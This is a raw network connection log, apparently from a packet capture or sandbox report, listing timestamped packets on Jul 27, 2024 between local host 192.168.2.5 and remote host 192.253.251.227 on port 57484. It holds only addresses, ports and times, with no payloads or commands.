Jul 27, 2024 13:31:08.188205957 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.188952923 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.189003944 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.189007044 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.189044952 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.189852953 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.189908981 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.293004036 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293091059 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293127060 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293152094 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.293181896 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293232918 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.293256998 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293291092 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293327093 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293343067 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.293407917 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293442011 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293452024 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.293477058 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.293524027 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.293648005 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.294370890 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.294433117 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.294435978 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.294471979 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.294523954 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.294608116 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.294642925 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.294696093 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.295195103 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.295275927 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.295310020 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.295329094 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.295469999 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.295504093 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.295521975 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.296067953 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.296118975 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.296154976 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.296188116 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.296236038 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.296315908 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.296367884 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.296420097 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.297151089 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.297202110 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.297235966 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.297255039 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.297404051 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.297439098 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.297457933 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.298007011 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.298058987 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.298059940 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.298095942 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.298137903 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.298197985 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.298232079 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.298283100 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.298971891 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.349817991 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.411962986 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.435861111 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.441329956 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.553405046 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.558573961 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775224924 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775304079 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775373936 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775376081 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.775408983 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775444031 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775459051 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.775475025 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775517941 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775526047 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.775580883 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775614977 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775630951 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.775650978 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775713921 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.775722027 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775851011 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775883913 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.775902987 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.775999069 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776029110 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776047945 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.776109934 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776160002 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.776237011 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776269913 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776319027 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.776426077 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776513100 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776550055 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776563883 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776567936 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.776623964 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.776766062 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776861906 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776926994 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.776978016 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.776990891 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777080059 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.777220964 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777255058 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777304888 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777313948 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.777404070 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777436972 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777448893 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.777544022 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777602911 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.777626991 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777662039 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777702093 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.777715921 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.777951956 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778002024 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.778079033 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778219938 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778270006 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.778345108 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778381109 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778426886 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.778556108 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778590918 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778624058 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778637886 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.778657913 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778704882 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.778906107 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778939962 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.778995991 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.779167891 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779659033 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779692888 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779709101 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.779726982 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779759884 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779774904 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.779831886 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779865980 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779880047 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.779901028 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779936075 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.779948950 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.780131102 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780266047 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.780280113 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780353069 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780386925 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780400991 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.780514002 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780546904 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780560970 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.780591965 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780635118 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.780652046 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780695915 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.780751944 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.780966997 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.781068087 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.781101942 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.781116009 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.781313896 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.781366110 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.781368017 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.834178925 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.867867947 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.867893934 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.867912054 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.867954969 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.867970943 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.867986917 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.868020058 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.405400991 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.405477047 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.405582905 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.406805992 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.406867981 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.406903028 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.406919956 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.407049894 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407104969 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407136917 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407162905 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.407171011 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407196045 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.407355070 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407439947 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407457113 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.407473087 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407506943 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407521963 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.407538891 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407572985 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407592058 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.407607079 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407639027 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407653093 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.407674074 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.407722950 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.408026934 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408061028 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408118963 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.408164978 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408198118 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408231974 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408246040 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.408265114 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408298969 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408314943 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.408332109 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408365965 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408384085 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.408397913 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408428907 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408447027 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.408463955 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.408514977 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.409152985 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409185886 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409218073 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409245014 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.409251928 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409286022 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409301996 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.409318924 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409352064 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409369946 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.409384966 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409419060 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409431934 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.409451962 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409480095 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409502983 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.409512997 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409549952 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.409560919 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.410085917 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410120010 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410139084 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.410152912 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410187960 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410203934 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.410221100 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410254955 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410270929 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.410288095 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410321951 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410346031 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.410353899 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410387039 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410403967 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.410418987 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410463095 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.410908937 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410943985 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.410974026 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.411000013 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.411026001 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.411097050 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.413539886 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.413594961 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.413624048 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.413654089 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.413800955 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.413858891 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.413867950 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.413902998 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.413953066 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.414107084 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414143085 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414175987 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414187908 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.414298058 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414347887 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.414349079 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414382935 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414432049 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.414431095 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414467096 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414499998 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414513111 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.414705992 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414740086 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414757967 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.414808989 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414843082 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414859056 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.414877892 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414911985 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.414927006 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415040016 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415072918 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415091991 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415128946 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415163040 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415179968 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415280104 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415313005 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415332079 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415345907 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415378094 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415395021 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415411949 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415467978 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415674925 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415709972 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415741920 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415761948 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415791988 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415811062 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415823936 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415837049 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415844917 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415849924 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415863037 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415873051 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.415875912 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.415944099 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.416584969 CEST	57484	49707	192.253.251.227	192.168.2.5
